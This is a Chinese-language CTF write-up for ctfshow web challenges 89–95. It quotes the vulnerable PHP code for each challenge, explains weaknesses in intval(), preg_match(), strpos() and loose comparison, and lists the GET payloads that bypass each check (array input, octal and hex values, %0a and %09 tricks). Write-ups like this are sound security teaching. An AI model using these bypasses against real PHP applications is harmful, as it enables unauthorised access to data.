ctfshow web入门 php特性 89-95
89 - 95 利用 intval() 函数漏洞,php 弱语言特点绕过正则表达式获取flag
重点
了解 intval()、grep_match() 函数缺点
了解变量类型转换(php弱语言特点)
了解正则表达式
了解 == 与 === 区别
web 89
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
要求:1、$num 不允许出现数字
2、intval($num) 非0 ,要求 $num 不能是 非数字开头的且数字不能全为0 的字符串
3、 存在 die() 函数,在 preg_match() 正则匹配成功时执行,后续程序将忽略不执行,因此需要对 preg_match() 正则匹配绕过
知识点
1、intval()
intval() 是变量类型转化函数,php有8种变量类型
其中 intval() 函数
转化 string(非数字开头的且数字不能全为0的字符串)、array(空)、bool(false)、NULL 类型变量时,值为 0
转化 bool(true)、array(非空)、object 类型变量时,值为 1
转化 int、float、string(数字开头的字符串)类型变量时,值为其整数部分的数字
2、preg_match()
正则表达式
可以匹配 int、float、str、bool
不能匹配 array、object、NULL
payload
num[]=1 //将 num 类型改变成array
理论上 num=['w'] ,也符合本题,至少在我本地环境中,是可以成功获取flag的
web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
要求:num 值不能之间等于4476,需经过 intval() 函数转换过后的 数值、类型 与4476相同
知识点
1、intval() 函数参数
intval($var,$base)
// $var 指定转化成 int 的数量值,$base 转化所用的进制
如果 $base 为 0 ,则通过 $var 的格式决定
若字符串包含 0x,则使用 16 进制
若字符串包含 0,则使用 8 进制
其余默认十进制
2、比较运算符
=== 表示全等运算符,要求值相同,类型相同
== 表示等于运算符,要求值相同(会进行临时的类型转化,弱比较)
由于 == 会临时转换数据类型,因此 === 操作比 == 操作快
3、php 弱语言特性
当执行关系运算符 == 时,要求运算符两边的数据类型必须一致,因此会被临时强制转化成整形
如:123q 被转换成 123,123.4qwer 被转换成 123
payload
num=4476q //十进制,利用弱比较
num=010574 //八进制,intval() 参数特点
num=0x117c // 十六进制,intval() 参数特点
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
要求:以 php 作为开头结尾(不区分大小写、且多行匹配),且不能以 php 作为开头结尾(不区分大小写)
知识点
1、正则表达式
i 不区分大小写
m 多行匹配
^ 定位符,字符串开始位置
$ 定位符,字符串结尾位置
payload
num=%0aphp //突破口在于多行匹配
//利用 %0a 使参数为两行,php 在第二行既处于开头又处于结尾,第二个正则将第一行和第二行一起匹配,这时php处于结尾而不处于开头
web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
与 90 相似,90 为强比较,92为弱比较。同样采用 intval() 函数,第二位参数为0,payload 参考90
payload
num=010574 //八进制
num=0x117c // 十六进制
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
在 92 的基础上,屏蔽字母,也就是屏蔽十六进制,根据 intval($var,0) 特性,可采用八进制
payload
num=010574 //八进制
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
要求:变量不能为4476,不能有字母,第一位不能是0、不能不出现0
知识点
strpos() 函数查找字符串在另一字符串中第一次出现的位置
查找成功,返回其位置,int 类型
查找失败,返回 false,bool 类型
payload
num=4476.0 //利用 float 类型转换 int 类型
num=4476%0 //利用 str 类型 转换 int 类型(其余符号一样可行,不一定为%)
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
要求:第一个 if 采用弱比较,屏蔽 str 转 int
第二个 if 禁用字母和小数点,屏蔽十六进制和 float 转 int
第三个 if 禁止第一位为 0,且除第一位以外必须出现 0(看似屏蔽八进制,实则没有屏蔽)
payload
num=%09010574 //利用 %09 代替空格(起占位作用),4476 用八进制表示